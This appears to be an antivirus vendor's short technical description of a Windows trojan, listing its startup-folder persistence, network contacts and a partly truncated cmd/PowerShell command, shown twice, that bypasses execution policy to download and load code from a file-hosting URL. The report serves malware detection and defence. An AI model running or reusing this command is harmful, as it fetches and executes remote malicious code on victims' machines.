Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.exe
Malicious functions
Downloads and executes files.
Network activity
Connects to
- 'g.###4top.io':443
TCP
- 'g.###4top.io':443
UDP
- DNS ASK g.###4top.io
- DNS ASK to##top.io
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c start /b powershell -noexit -exec bypass -window 1 $web = New-Object System.Net.WebClient;$string = $web.Downloadstring('https://g.top4top.io/p_1892glpu21.png/');$assembly = [AppDomain]::Cur...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c start /b powershell -noexit -exec bypass -window 1 $web = New-Object System.Net.WebClient;$string = $web.Downloadstring('https://g.top4top.io/p_1892glpu21.png/');$assembly = [AppDomain]::Cur...
